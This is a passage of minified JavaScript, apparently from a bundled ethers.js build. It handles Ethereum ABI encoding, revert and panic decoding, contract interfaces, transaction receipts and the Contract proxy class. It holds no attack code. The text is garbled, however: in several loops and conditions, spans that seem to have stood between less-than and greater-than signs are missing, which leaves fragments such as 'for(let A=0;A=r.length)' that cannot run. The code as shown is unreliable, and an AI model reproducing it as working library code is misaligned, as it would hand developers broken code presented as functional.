e=t.type.match(Ch);if(e){let r=parseInt(e[2]||\"256\");return vn(0!==r&&r<=256&&r%8==0,\"invalid \"+e[1]+\" bit length\",\"param\",t),new Ga(r/8,\"int\"===e[1],t.name)}if(e=t.type.match(yh),e){let r=parseInt(e[1]);return vn(0!==r&&r<=32,\"invalid bytes length\",\"param\",t),new xa(r,t.name)}vn(!1,\"invalid type\",\"type\",t.type)}getDefaultValue(t){const e=t.map((t=>this.#j(sh.from(t))));return new La(e,\"_\").defaultValue()}encode(t,e){_n(e.length,t.length,\"types/values length mismatch\");const r=t.map((t=>this.#j(sh.from(t)))),n=new La(r,\"_\"),A=new HA;return n.encode(A,e),A.data}decode(t,e,r){const n=t.map((t=>this.#j(sh.from(t))));return new La(n,\"_\").decode(new LA(e,r,Bh))}static _setDefaultMaxInflation(t){vn(\"number\"==typeof t&&Number.isInteger(t),\"invalid defaultMaxInflation factor\",\"value\",t),Bh=t}static defaultAbiCoder(){return null==mh&&(mh=new Eh),mh}static getBuiltinCallException(t,e,r){return function(t,e,r,n){let A=\"missing revert data\",i=null,o=null;if(r){A=\"execution reverted\";const t=Sn(r);if(r=Pn(r),0===t.length)A+=\" (no data present; likely require(false) occurred\",i=\"require(false)\";else if(t.length%32!=4)A+=\" (could not decode reason; invalid data length)\";else if(\"0x08c379a0\"===Pn(t.slice(0,4)))try{i=n.decode([\"string\"],t.slice(4))[0],o={signature:\"Error(string)\",name:\"Error\",args:[i]},A+=`: ${JSON.stringify(i)}`}catch(t){A+=\" (could not decode reason; invalid string data)\"}else if(\"0x4e487b71\"===Pn(t.slice(0,4)))try{const e=Number(n.decode([\"uint256\"],t.slice(4))[0]);o={signature:\"Panic(uint256)\",name:\"Panic\",args:[e]},i=`Panic due to ${Ih.get(e)||\"UNKNOWN\"}(${e})`,A+=`: ${i}`}catch(t){A+=\" (could not decode panic code)\"}else A+=\" (unknown custom error)\"}const s={to:e.to?da(e.to):null,data:e.data||\"0x\"};return e.from&&(s.from=da(e.from)),En(A,\"CALL_EXCEPTION\",{action:t,data:r,reason:i,transaction:s,invocation:null,revert:o})}(t,e,r,Eh.defaultAbiCoder())}}class wh{fragment;name;signature;topic;args;constructor(t,e,r){const n=t.name,A=t.format();yn(this,{fragment:t,name:n,signature:A,topic:e,args:r})}}class vh{fragment;name;args;signature;selector;value;constructor(t,e,r,n){const A=t.name,i=t.format();yn(this,{fragment:t,name:A,args:r,signature:i,selector:e,value:n})}}class _h{fragment;name;args;signature;selector;constructor(t,e,r){const n=t.name,A=t.format();yn(this,{fragment:t,name:n,args:r,signature:A,selector:e})}}class Qh{hash;_isIndexed;static isIndexed(t){return!(!t||!t._isIndexed)}constructor(t){yn(this,{hash:t,_isIndexed:!0})}}const bh={0:\"generic panic\",1:\"assert(false)\",17:\"arithmetic overflow\",18:\"division or modulo by zero\",33:\"enum overflow\",34:\"invalid encoded storage byte array accessed\",49:\"out-of-bounds array access; popping on an empty array\",50:\"out-of-bounds access of an array or bytesN\",65:\"out of memory\",81:\"uninitialized function\"},kh={\"0x08c379a0\":{signature:\"Error(string)\",name:\"Error\",inputs:[\"string\"],reason:t=>`reverted with reason string ${JSON.stringify(t)}`},\"0x4e487b71\":{signature:\"Panic(uint256)\",name:\"Panic\",inputs:[\"uint256\"],reason:t=>{let e=\"unknown panic code\";return t>=0&&t<=255&&bh[t.toString()]&&(e=bh[t.toString()]),`reverted with panic code 0x${t.toString(16)} (${e})`}}};class Dh{fragments;deploy;fallback;receive;#z;#q;#X;#V;constructor(t){let e=[];e=\"string\"==typeof t?JSON.parse(t):t,this.#X=new Map,this.#z=new Map,this.#q=new Map;const r=[];for(const t of e)try{r.push(ah.from(t))}catch(e){console.log(`[Warning] Invalid Fragment ${JSON.stringify(t)}:`,e.message)}yn(this,{fragments:Object.freeze(r)});let n=null,A=!1;this.#V=this.getAbiCoder(),this.fragments.forEach(((t,e)=>{let r;switch(t.type){case\"constructor\":return this.deploy?void console.log(\"duplicate definition - constructor\"):void yn(this,{deploy:t});case\"fallback\":return void(0===t.inputs.length?A=!0:(vn(!n||t.payable!==n.payable,\"conflicting fallback fragments\",`fragments[${e}]`,t),n=t,A=n.payable));case\"function\":r=this.#X;break;case\"event\":r=this.#q;break;case\"error\":r=this.#z;break;default:return}const i=t.format();r.has(i)||r.set(i,t)})),this.deploy||yn(this,{deploy:lh.from(\"constructor()\")}),yn(this,{fallback:n,receive:A})}format(t){const e=t?\"minimal\":\"full\",r=this.fragments.map((t=>t.format(e)));return r}formatJson(){const t=this.fragments.map((t=>t.format(\"json\")));return JSON.stringify(t.map((t=>JSON.parse(t))))}getAbiCoder(){return Eh.defaultAbiCoder()}#W(t,e,r){if(Mn(t)){const e=t.toLowerCase();for(const t of this.#X.values())if(e===t.selector)return t;return null}if(-1===t.indexOf(\"(\")){const n=[];for(const[e,r]of this.#X)e.split(\"(\")[0]===t&&n.push(r);if(e){const t=e.length>0?e[e.length-1]:null;let r=e.length,A=!0;va.isTyped(t)&&\"overrides\"===t.type&&(A=!1,r--);for(let t=n.length-1;t>=0;t--){const e=n[t].inputs.length;e===r||A&&e===r-1||n.splice(t,1)}for(let t=n.length-1;t>=0;t--){const r=n[t].inputs;for(let A=0;A=r.length){if(\"overrides\"===e[A].type)continue;n.splice(t,1);break}if(e[A].type!==r[A].baseType){n.splice(t,1);break}}}}if(1===n.length&&e&&e.length!==n[0].inputs.length){const t=e[e.length-1];(null==t||Array.isArray(t)||\"object\"!=typeof t)&&n.splice(0,1)}if(0===n.length)return null;if(n.length>1&&r){vn(!1,`ambiguous function description (i.e. matches ${n.map((t=>JSON.stringify(t.format()))).join(\", \")})`,\"key\",t)}return n[0]}const n=this.#X.get(ph.from(t).format());return n||null}getFunctionName(t){const e=this.#W(t,null,!1);return vn(e,\"no matching function\",\"key\",t),e.name}hasFunction(t){return!!this.#W(t,null,!1)}getFunction(t,e){return this.#W(t,e||null,!0)}forEachFunction(t){const e=Array.from(this.#X.keys());e.sort(((t,e)=>t.localeCompare(e)));for(let r=0;r=0;t--)n[t].inputs.length=0;t--){const r=n[t].inputs;for(let A=0;A1&&r){vn(!1,`ambiguous event description (i.e. matches ${n.map((t=>JSON.stringify(t.format()))).join(\", \")})`,\"key\",t)}return n[0]}const n=this.#q.get(uh.from(t).format());return n||null}getEventName(t){const e=this.#Z(t,null,!1);return vn(e,\"no matching event\",\"key\",t),e.name}hasEvent(t){return!!this.#Z(t,null,!1)}getEvent(t,e){return this.#Z(t,e||null,!0)}forEachEvent(t){const e=Array.from(this.#q.keys());e.sort(((t,e)=>t.localeCompare(e)));for(let r=0;r1){vn(!1,`ambiguous error description (i.e. ${e.map((t=>JSON.stringify(t.format()))).join(\", \")})`,\"name\",t)}return e[0]}if(\"Error(string)\"===(t=gh.from(t).format()))return gh.from(\"error Error(string)\");if(\"Panic(uint256)\"===t)return gh.from(\"error Panic(uint256)\");const r=this.#z.get(t);return r||null}forEachError(t){const e=Array.from(this.#z.keys());e.sort(((t,e)=>t.localeCompare(e)));for(let r=0;r\"string\"===t.type?Oa(e):\"bytes\"===t.type?no(Pn(e)):(\"bool\"===t.type&&\"boolean\"==typeof e?e=e?\"0x01\":\"0x00\":t.type.match(/^u?int/)?e=Zn(e):t.type.match(/^bytes/)?e=Gn(e,32,!1):\"address\"===t.type&&this.#V.encode([\"address\"],[e]),Hn(Pn(e),32));for(e.forEach(((e,A)=>{const i=t.inputs[A];i.indexed?null==e?r.push(null):\"array\"===i.baseType||\"tuple\"===i.baseType?vn(!1,\"filtering with tuples or arrays not supported\",\"contract.\"+i.name,e):Array.isArray(e)?r.push(e.map((t=>n(i,t)))):r.push(n(i,e)):vn(null==e,\"cannot filter non-indexed parameters; must be null\",\"contract.\"+i.name,e)}));r.length&&null===r[r.length-1];)r.pop();return r}encodeEventLog(t,e){if(\"string\"==typeof t){const e=this.getEvent(t);vn(e,\"unknown event\",\"eventFragment\",t),t=e}const r=[],n=[],A=[];return t.anonymous||r.push(t.topicHash),vn(e.length===t.inputs.length,\"event arguments/values mismatch\",\"values\",e),t.inputs.forEach(((t,i)=>{const o=e[i];if(t.indexed)if(\"string\"===t.type)r.push(Oa(o));else if(\"bytes\"===t.type)r.push(no(o));else{if(\"tuple\"===t.baseType||\"array\"===t.baseType)throw new Error(\"not implemented\");r.push(this.#V.encode([t.type],[o]))}else n.push(t),A.push(o)})),{data:this.#V.encode(n,A),topics:r}}decodeEventLog(t,e,r){if(\"string\"==typeof t){const e=this.getEvent(t);vn(e,\"unknown event\",\"eventFragment\",t),t=e}if(null!=r&&!t.anonymous){const e=t.topicHash;vn(Mn(r[0],32)&&r[0].toLowerCase()===e,\"fragment/topic mismatch\",\"topics[0]\",r[0]),r=r.slice(1)}const n=[],A=[],i=[];t.inputs.forEach(((t,e)=>{t.indexed?\"string\"===t.type||\"bytes\"===t.type||\"tuple\"===t.baseType||\"array\"===t.baseType?(n.push(sh.from({type:\"bytes32\",name:t.name})),i.push(!0)):(n.push(t),i.push(!1)):(A.push(t),i.push(!1))}));const o=null!=r?this.#V.decode(n,Tn(r)):null,s=this.#V.decode(A,e,!0),a=[],c=[];let h=0,g=0;return t.inputs.forEach(((t,e)=>{let r=null;if(t.indexed)if(null==o)r=new Qh(null);else if(i[e])r=new Qh(o[g++]);else try{r=o[g++]}catch(t){r=t}else try{r=s[h++]}catch(t){r=t}a.push(r),c.push(t.name||null)})),RA.fromItems(a,c)}parseTransaction(t){const e=Sn(t.data,\"tx.data\"),r=zn(null!=t.value?t.value:0,\"tx.value\"),n=this.getFunction(Pn(e.slice(0,4)));if(!n)return null;const A=this.#V.decode(n.inputs,e.slice(4));return new vh(n,n.selector,A,r)}parseCallResult(t){throw new Error(\"@TODO\")}parseLog(t){const e=this.getEvent(t.topics[0]);return!e||e.anonymous?null:new wh(e,e.topicHash,this.decodeEventLog(e,t.data,t.topics))}parseError(t){const e=Pn(t),r=this.getError(Un(e,0,4));if(!r)return null;const n=this.#V.decode(r.inputs,Un(e,4));return new _h(r,r.selector,n)}static from(t){return t instanceof Dh?t:\"string\"==typeof t?new Dh(JSON.parse(t)):\"function\"==typeof t.format?new Dh(t.format(\"json\")):new Dh(t)}}const Sh=BigInt(0);function Nh(t){return null==t?null:t.toString()}function Mh(t){const e={};t.to&&(e.to=t.to),t.from&&(e.from=t.from),t.data&&(e.data=Pn(t.data));const r=\"chainId,gasLimit,gasPrice,maxFeePerGas,maxPriorityFeePerGas,value\".split(/,/);for(const n of r)n in t&&null!=t[n]&&(e[n]=zn(t[n],`request.${n}`));const n=\"type,nonce\".split(/,/);for(const r of n)r in t&&null!=t[r]&&(e[r]=Wn(t[r],`request.${r}`));return t.accessList&&(e.accessList=Ka(t.accessList)),\"blockTag\"in t&&(e.blockTag=t.blockTag),\"enableCcipRead\"in t&&(e.enableCcipRead=!!t.enableCcipRead),\"customData\"in t&&(e.customData=t.customData),e}class xh{provider;transactionHash;blockHash;blockNumber;removed;address;data;topics;index;transactionIndex;constructor(t,e){this.provider=e;const r=Object.freeze(t.topics.slice());yn(this,{transactionHash:t.transactionHash,blockHash:t.blockHash,blockNumber:t.blockNumber,removed:t.removed,address:t.address,data:t.data,topics:r,index:t.index,transactionIndex:t.transactionIndex})}toJSON(){const{address:t,blockHash:e,blockNumber:r,data:n,index:A,removed:i,topics:o,transactionHash:s,transactionIndex:a}=this;return{_type:\"log\",address:t,blockHash:e,blockNumber:r,data:n,index:A,removed:i,topics:o,transactionHash:s,transactionIndex:a}}async getBlock(){const t=await this.provider.getBlock(this.blockHash);return wn(!!t,\"failed to find transaction\",\"UNKNOWN_ERROR\",{}),t}async getTransaction(){const t=await this.provider.getTransaction(this.transactionHash);return wn(!!t,\"failed to find transaction\",\"UNKNOWN_ERROR\",{}),t}async getTransactionReceipt(){const t=await this.provider.getTransactionReceipt(this.transactionHash);return wn(!!t,\"failed to find transaction receipt\",\"UNKNOWN_ERROR\",{}),t}removedEvent(){return{orphan:\"drop-log\",log:{transactionHash:(t=this).transactionHash,blockHash:t.blockHash,blockNumber:t.blockNumber,address:t.address,data:t.data,topics:Object.freeze(t.topics.slice()),index:t.index}};var t}}class Fh{provider;to;from;contractAddress;hash;index;blockHash;blockNumber;logsBloom;gasUsed;blobGasUsed;cumulativeGasUsed;gasPrice;blobGasPrice;type;status;root;#$;constructor(t,e){this.#$=Object.freeze(t.logs.map((t=>new xh(t,e))));let r=Sh;null!=t.effectiveGasPrice?r=t.effectiveGasPrice:null!=t.gasPrice&&(r=t.gasPrice),yn(this,{provider:e,to:t.to,from:t.from,contractAddress:t.contractAddress,hash:t.hash,index:t.index,blockHash:t.blockHash,blockNumber:t.blockNumber,logsBloom:t.logsBloom,gasUsed:t.gasUsed,cumulativeGasUsed:t.cumulativeGasUsed,blobGasUsed:t.blobGasUsed,gasPrice:r,blobGasPrice:t.blobGasPrice,type:t.type,status:t.status,root:t.root})}get logs(){return this.#$}toJSON(){const{to:t,from:e,contractAddress:r,hash:n,index:A,blockHash:i,blockNumber:o,logsBloom:s,logs:a,status:c,root:h}=this;return{_type:\"TransactionReceipt\",blockHash:i,blockNumber:o,contractAddress:r,cumulativeGasUsed:Nh(this.cumulativeGasUsed),from:e,gasPrice:Nh(this.gasPrice),blobGasUsed:Nh(this.blobGasUsed),blobGasPrice:Nh(this.blobGasPrice),gasUsed:Nh(this.gasUsed),hash:n,index:A,logs:a,logsBloom:s,root:h,status:c,to:t}}get length(){return this.logs.length}[Symbol.iterator](){let t=0;return{next:()=>t{if(o)return null;const{blockNumber:t,nonce:e}=await In({blockNumber:this.provider.getBlockNumber(),nonce:this.provider.getTransactionCount(this.from)});if(e{if(null==t||0!==t.status)return t;wn(!1,\"transaction execution reverted\",\"CALL_EXCEPTION\",{action:\"sendTransaction\",data:null,reason:null,invocation:null,revert:null,transaction:{to:t.to,from:t.from,data:\"\"},receipt:t})},c=await this.provider.getTransactionReceipt(this.hash);if(0===r)return a(c);if(c){if(await c.confirmations()>=r)return a(c)}else if(await s(),0===r)return null;const h=new Promise(((t,e)=>{const i=[],c=()=>{i.forEach((t=>t()))};if(i.push((()=>{o=!0})),n>0){const t=setTimeout((()=>{c(),e(En(\"wait for transaction timeout\",\"TIMEOUT\"))}),n);i.push((()=>{clearTimeout(t)}))}const h=async n=>{if(await n.confirmations()>=r){c();try{t(a(n))}catch(t){e(t)}}};if(i.push((()=>{this.provider.off(this.hash,h)})),this.provider.on(this.hash,h),A>=0){const t=async()=>{try{await s()}catch(t){if(mn(t,\"TRANSACTION_REPLACED\"))return c(),void e(t)}o||this.provider.once(\"block\",t)};i.push((()=>{this.provider.off(\"block\",t)})),this.provider.once(\"block\",t)}}));return await h}isMined(){return null!=this.blockHash}isLegacy(){return 0===this.type}isBerlin(){return 1===this.type}isLondon(){return 2===this.type}isCancun(){return 3===this.type}removedEvent(){return wn(this.isMined(),\"unmined transaction canot be orphaned\",\"UNSUPPORTED_OPERATION\",{operation:\"removeEvent()\"}),Rh(this)}reorderedEvent(t){return wn(this.isMined(),\"unmined transaction canot be orphaned\",\"UNSUPPORTED_OPERATION\",{operation:\"removeEvent()\"}),wn(!t||t.isMined(),\"unmined 'other' transaction canot be orphaned\",\"UNSUPPORTED_OPERATION\",{operation:\"removeEvent()\"}),Th(this,t)}replaceableTransaction(t){vn(Number.isInteger(t)&&t>=0,\"invalid startBlock\",\"startBlock\",t);const e=new Ph(this,this.provider);return e.#tt=t,e}}function Th(t,e){return{orphan:\"reorder-transaction\",tx:t,other:e}}function Rh(t){return{orphan:\"drop-transaction\",tx:t}}class Uh extends xh{interface;fragment;args;constructor(t,e,r){super(t,t.provider);yn(this,{args:e.decodeEventLog(r,t.data,t.topics),fragment:r,interface:e})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}class Gh extends xh{error;constructor(t,e){super(t,t.provider),yn(this,{error:e})}}class Hh extends Fh{#et;constructor(t,e,r){super(r,e),this.#et=t}get logs(){return super.logs.map((t=>{const e=t.topics.length?this.#et.getEvent(t.topics[0]):null;if(e)try{return new Uh(t,this.#et,e)}catch(e){return new Gh(t,e)}return t}))}}class Lh extends Ph{#et;constructor(t,e,r){super(r,e),this.#et=t}async wait(t,e){const r=await super.wait(t,e);return null==r?null:new Hh(this.#et,this.provider,r)}}class Oh extends iA{log;constructor(t,e,r,n){super(t,e,r),yn(this,{log:n})}async getBlock(){return await this.log.getBlock()}async getTransaction(){return await this.log.getTransaction()}async getTransactionReceipt(){return await this.log.getTransactionReceipt()}}class Yh extends Oh{constructor(t,e,r,n,A){super(t,e,r,new Uh(A,t.interface,n));yn(this,{args:t.interface.decodeEventLog(n,this.log.data,this.log.topics),fragment:n})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}const Kh=BigInt(0);function Jh(t){return t&&\"function\"==typeof t.call}function jh(t){return t&&\"function\"==typeof t.estimateGas}function zh(t){return t&&\"function\"==typeof t.resolveName}function qh(t){return t&&\"function\"==typeof t.sendTransaction}function Xh(t){if(null!=t){if(zh(t))return t;if(t.provider)return t.provider}}class Vh{#rt;fragment;constructor(t,e,r){if(yn(this,{fragment:e}),e.inputs.lengthnull==r[e]?null:t.walkAsync(r[e],((t,e)=>\"address\"===t?Array.isArray(e)?Promise.all(e.map((t=>Ca(t,A)))):Ca(e,A):e)))));return t.interface.encodeFilterTopics(e,n)}()}getTopicFilter(){return this.#rt}}function Wh(t,e){return null==t?null:\"function\"==typeof t[e]?t:t.provider&&\"function\"==typeof t.provider[e]?t.provider:null}function Zh(t){return null==t?null:t.provider||null}async function $h(t,e){const r=va.dereference(t,\"overrides\");vn(\"object\"==typeof r,\"invalid overrides parameter\",\"overrides\",t);const n=Mh(r);return vn(null==n.to||(e||[]).indexOf(\"to\")>=0,\"cannot override to\",\"overrides.to\",n.to),vn(null==n.data||(e||[]).indexOf(\"data\")>=0,\"cannot override data\",\"overrides.data\",n.data),n.from&&(n.from=n.from),n}function tg(t){const e=async function(e){const r=await $h(e,[\"data\"]);r.to=await t.getAddress(),r.from&&(r.from=await Ca(r.from,Xh(t.runner)));const n=t.interface,A=zn(r.value||Kh,\"overrides.value\")===Kh,i=\"0x\"===(r.data||\"0x\");!n.fallback||n.fallback.payable||!n.receive||i||A||vn(!1,\"cannot send data to receive or send value to non-payable fallback\",\"overrides\",e),vn(n.fallback||i,\"cannot send data to receive-only contract\",\"overrides.data\",r.data);return vn(n.receive||n.fallback&&n.fallback.payable||A,\"cannot send value to non-payable fallback\",\"overrides.value\",r.value),vn(n.fallback||i,\"cannot send data to receive-only contract\",\"overrides.data\",r.data),r},r=async function(r){const n=t.runner;wn(qh(n),\"contract runner does not support sending transactions\",\"UNSUPPORTED_OPERATION\",{operation:\"sendTransaction\"});const A=await n.sendTransaction(await e(r)),i=Zh(t.runner);return new Lh(t.interface,i,A)},n=async t=>await r(t);return yn(n,{_contract:t,estimateGas:async function(r){const n=Wh(t.runner,\"estimateGas\");return wn(jh(n),\"contract runner does not support gas estimation\",\"UNSUPPORTED_OPERATION\",{operation:\"estimateGas\"}),await n.estimateGas(await e(r))},populateTransaction:e,send:r,staticCall:async function(r){const n=Wh(t.runner,\"call\");wn(Jh(n),\"contract runner does not support calling\",\"UNSUPPORTED_OPERATION\",{operation:\"call\"});const A=await e(r);try{return await n.call(A)}catch(e){if(Bn(e)&&e.data)throw t.interface.makeError(e.data,A);throw e}}}),n}function eg(t,e){const r=function(...r){const n=t.interface.getFunction(e,r);return wn(n,\"no matching fragment\",\"UNSUPPORTED_OPERATION\",{operation:\"fragment\",info:{key:e,args:r}}),n},n=async function(...e){const n=r(...e);let A={};if(n.inputs.length+1===e.length&&(A=await $h(e.pop()),A.from&&(A.from=await Ca(A.from,Xh(t.runner)))),n.inputs.length!==e.length)throw new Error(\"internal error: fragment inputs doesn't match arguments; should not happen\");const i=await async function(t,e,r){const n=Wh(t,\"resolveName\"),A=zh(n)?n:null;return await Promise.all(e.map(((t,e)=>t.walkAsync(r[e],((t,e)=>(e=va.dereference(e,t),\"address\"===t?Ca(e,A):e))))))}(t.runner,n.inputs,e);return Object.assign({},A,await In({to:t.getAddress(),data:t.interface.encodeFunctionData(n,i)}))},A=async function(...t){const e=await o(...t);return 1===e.length?e[0]:e},i=async function(...e){const r=t.runner;wn(qh(r),\"contract runner does not support sending transactions\",\"UNSUPPORTED_OPERATION\",{operation:\"sendTransaction\"});const A=await r.sendTransaction(await n(...e)),i=Zh(t.runner);return new Lh(t.interface,i,A)},o=async function(...e){const A=Wh(t.runner,\"call\");wn(Jh(A),\"contract runner does not support calling\",\"UNSUPPORTED_OPERATION\",{operation:\"call\"});const i=await n(...e);let o=\"0x\";try{o=await A.call(i)}catch(e){if(Bn(e)&&e.data)throw t.interface.makeError(e.data,i);throw e}const s=r(...e);return t.interface.decodeFunctionResult(s,o)},s=async(...t)=>r(...t).constant?await A(...t):await i(...t);return yn(s,{name:t.interface.getFunctionName(e),_contract:t,_key:e,getFragment:r,estimateGas:async function(...e){const r=Wh(t.runner,\"estimateGas\");return wn(jh(r),\"contract runner does not support gas estimation\",\"UNSUPPORTED_OPERATION\",{operation:\"estimateGas\"}),await r.estimateGas(await n(...e))},populateTransaction:n,send:i,staticCall:A,staticCallResult:o}),Object.defineProperty(s,\"fragment\",{configurable:!1,enumerable:!0,get:()=>{const r=t.interface.getFunction(e);return wn(r,\"no matching fragment\",\"UNSUPPORTED_OPERATION\",{operation:\"fragment\",info:{key:e}}),r}}),s}const rg=Symbol.for(\"_ethersInternal_contract\"),ng=new WeakMap;function Ag(t){return ng.get(t[rg])}async function ig(t,e){let r,n=null;if(Array.isArray(e)){const n=function(e){if(Mn(e,32))return e;const r=t.interface.getEvent(e);return vn(r,\"unknown fragment\",\"name\",e),r.topicHash};r=e.map((t=>null==t?null:Array.isArray(t)?t.map(n):n(t)))}else\"*\"===e?r=[null]:\"string\"==typeof e?Mn(e,32)?r=[e]:(n=t.interface.getEvent(e),vn(n,\"unknown fragment\",\"event\",e),r=[n.topicHash]):(A=e)&&\"object\"==typeof A&&\"getTopicFilter\"in A&&\"function\"==typeof A.getTopicFilter&&A.fragment?r=await e.getTopicFilter():\"fragment\"in e?(n=e.fragment,r=[n.topicHash]):vn(!1,\"unknown event name\",\"event\",e);var A;r=r.map((t=>{if(null==t)return null;if(Array.isArray(t)){const e=Array.from(new Set(t.map((t=>t.toLowerCase()))).values());return 1===e.length?e[0]:(e.sort(),e)}return t.toLowerCase()}));return{fragment:n,tag:r.map((t=>null==t?\"null\":Array.isArray(t)?t.join(\"|\"):t)).join(\"&\"),topics:r}}async function og(t,e){const{subs:r}=Ag(t);return r.get((await ig(t,e)).tag)||null}async function sg(t,e,r){const n=Zh(t.runner);wn(n,\"contract runner does not support subscribing\",\"UNSUPPORTED_OPERATION\",{operation:e});const{fragment:A,tag:i,topics:o}=await ig(t,r),{addr:s,subs:a}=Ag(t);let c=a.get(i);if(!c){const e={address:s||t,topics:o},h=e=>{let n=A;if(null==n)try{n=t.interface.getEvent(e.topics[0])}catch(t){}if(n){const i=n,o=A?t.interface.decodeEventLog(A,e.data,e.topics):[];cg(t,r,o,(n=>new Yh(t,n,r,i,e)))}else cg(t,r,[],(n=>new Oh(t,n,r,e)))};let g=[];c={tag:i,listeners:[],start:()=>{g.length||g.push(n.on(e,h))},stop:async()=>{if(0==g.length)return;let t=g;g=[],await Promise.all(t),n.off(e,h)}},a.set(i,c)}return c}let ag=Promise.resolve();async function cg(t,e,r,n){try{await ag}catch(t){}const A=async function(t,e,r,n){await ag;const A=await og(t,e);if(!A)return!1;const i=A.listeners.length;return A.listeners=A.listeners.filter((({listener:e,once:A})=>{const i=Array.from(r);n&&i.push(n(A?null:e));try{e.call(t,...i)}catch(t){}return!A})),0===A.listeners.length&&(A.stop(),Ag(t).subs.delete(A.tag)),i>0}(t,e,r,n);return ag=A,await A}const hg=[\"then\"];class gg{target;interface;runner;filters;[rg];fallback;constructor(t,e,r,n){vn(\"string\"==typeof t||Ia(t),\"invalid value for Contract target\",\"target\",t),null==r&&(r=null);const A=Dh.from(e);let i;yn(this,{target:t,runner:r,interface:A}),Object.defineProperty(this,rg,{value:{}});let o=null,s=null;if(n){const t=Zh(r);s=new Lh(this.interface,t,n)}let a=new Map;if(\"string\"==typeof t)if(Mn(t))o=t,i=Promise.resolve(t);else{const e=Wh(r,\"resolveName\");if(!zh(e))throw En(\"contract runner does not support name resolution\",\"UNSUPPORTED_OPERATION\",{operation:\"resolveName\"});i=e.resolveName(t).then((e=>{if(null==e)throw En(\"an ENS name used for a contract target must be correctly configured\",\"UNCONFIGURED_NAME\",{value:t});return Ag(this).addr=e,e}))}else i=t.getAddress().then((t=>{if(null==t)throw new Error(\"TODO\");return Ag(this).addr=t,t}));var c,h;c=this,h={addrPromise:i,addr:o,deployTx:s,subs:a},ng.set(c[rg],h);const g=new Proxy({},{get:(t,e,r)=>{if(\"symbol\"==typeof e||hg.indexOf(e)>=0)return Reflect.get(t,e,r);try{return this.getEvent(e)}catch(t){if(!mn(t,\"INVALID_ARGUMENT\")||\"key\"!==t.argument)throw t}},has:(t,e)=>hg.indexOf(e)>=0?Reflect.has(t,e):Reflect.has(t,e)||this.interface.hasEvent(String(e))});return yn(this,{filters:g}),yn(this,{fallback:A.receive||A.fallback?tg(this):null}),new Proxy(this,{get:(t,e,r)=>{if(\"symbol\"==typeof e||e in t||hg.indexOf(e)>=0)return Reflect.get(t,e,r);try{return t.getFunction(e)}catch(t){if(!mn(t,\"INVALID_ARGUMENT\")||\"key\"!==t.argument)throw t}},has:(t,e)=>\"symbol\"==typeof e||e in t||hg.indexOf(e)>=0?Reflect.has(t,e):t.interface.hasFunction(e)})}connect(t){return new gg(this.target,this.interface,t)}attach(t){return new gg(t,this.interface,this.runner)}async getAddress(){return await Ag(this).addrPromise}async getDeployedCode(){const t=Zh(this.runner);wn(t,\"runner does not support .provider\",\"UNSUPPORTED_OPERATION\",{operation:\"getDeployedCode\"});const e=await t.getCode(await this.getAddress());return\"0x\"===e?null:e}async waitForDeployment(){const t=this.deploymentTransaction();if(t)return await t.wait(),this;if(null!=await this.getDeployedCode())return this;const e=Zh(this.runner);return wn(null!=e,\"contract runner does not support .provider\",\"UNSUPPORTED_OPERATION\",{operation:\"waitForDeployment\"}),new Promise(((t,r)=>{const n=async()=>{try{if(null!=await this.getDeployedCode())return t(this);e.once(\"block\",n)}catch(t){r(t)}};n()}))}deploymentTransaction(){return Ag(this).deployTx}getFunction(t){\"string\"!=typeof t&&(t=t.format());return eg(this,t)}getEvent(t){return\"string\"!=typeof t&&(t=t.format()),function(t,e){const r=function(...r){const n=t.interface.getEvent(e,r);return wn(n,\"no matching fragment\",\"UNSUPPORTED_OPERATION\",{operation:\"fragment\",info:{key:e,args:r}}),n},n=function(...e){return new Vh(t,r(...e),e)};return yn(n,{name:t.interface.getEventName(e),_contract:t,_key:e,getFragment:r}),Object.defineProperty(n,\"fragment\",{configurable:!1,enumerable:!0,get:()=>{const r=t.interface.getEvent(e);return wn(r,\"no matching fragment\",\"UNSUPPORTED_OPERATION\",{operation:\"fragment\",info:{key:e}}),r}}),n}(this,t)}async queryTransaction(t){throw new Error(\"@TODO\")}async queryFilter(t,e,r){null==e&&(e=0),null==r&&(r=\"latest\");const{addr:n,addrPromise:A}=Ag(this),i=n||await A,{fragment:o,topics:s}=await ig(this,t),a={address:i,topics:s,fromBlock:e,toBlock:r},c=Zh(this.runner);return wn(c,\"contract runner does not have a provider\",\"UNSUPPORTED_OPERATION\",{operation:\"queryFilter\"}),(await c.getLogs(a)).map((t=>{let e=o;if(null==e)try{e=this.interface.getEvent(t.topics[0])}catch(t){}if(e)try{return new Uh(t,this.interface,e)}catch(e){return new Gh(t,e)}return new xh(t,c)}))}async on(t,e){const r=await sg(this,\"on\",t);return r.listeners.push({listener:e,once:!1}),r.start(),this}async once(t,e){const r=await sg(this,\"once\",t);return r.listeners.push({listener:e,once:!0}),r.start(),this}async emit(t,...e){return await cg(this,t,e,null)}async listenerCount(t){if(t){const e=await og(this,t);return e?e.listeners.length:0}const{subs:e}=Ag(this);let r=0;for(const{listeners:t}of e.values())r+=t.length;return r}async listeners(t){if(t){const e=await og(this,t);return e?e.listeners.map((({listener:t})=>t)):[]}const{subs:e}=Ag(this);let r=[];for(const{listeners:t}of e.values())r=r.concat(t.map((({listener:t})=>t)));return r}async off(t,e){const r=await og(this,t);if(!r)return this;if(e){const t=r.listeners.map((({listener:t})=>t)).indexOf(e);t>=0&&r.listeners.splice(t,1)}return null!=e&&0!==r.listeners.length||(r.stop(),Ag(this).subs.delete(r.tag)),this}async removeAllListeners(t){if(t){const e=await og(this,t);if(!e)return this;e.stop(),Ag(this).subs.delete(e.tag)}else{const{subs:t}=Ag(this);for(const{tag:e,stop:r}of t.values())r(),t.delete(e)}return this}async addListener(t,e){return await this.on(t,e)}async removeListener(t,e){return await this.off(t,e)}static buildClass(t){return class extends gg{constructor(e,r=null){super(e,t,r)}}}static from(t,e,r){null==r&&(r=null);return new this(t,e,r)}}class ug extends(function(){return gg}()){}function lg(t,e){if(t.provider)return t.provider;wn(!1,\"missing provider\",\"UNSUPPORTED_OPERATION\",{operation:e})}async function fg(t,e){let r=Mh(e);if(null!=r.to&&(r.to=Ca(r.to,t)),null!=r.from){const e=r.from;r.from=Promise.all([t.getAddress(),Ca(e,t)]).then((([t,e])=>(vn(t.toLowerCase()===e.toLowerCase(),\"transaction from mismatch\",\"tx.from\",e),t)))}else r.from=t.getAddress();return await In(r)}class pg{provider;constructor(t){yn(this,{provider:t||null})}async getNonce(t){return lg(this,\"getTransactionCount\").getTransactionCount(await this.getAddress(),t)}async populateCall(t){return await fg(this,t)}async populateTransaction(t){const 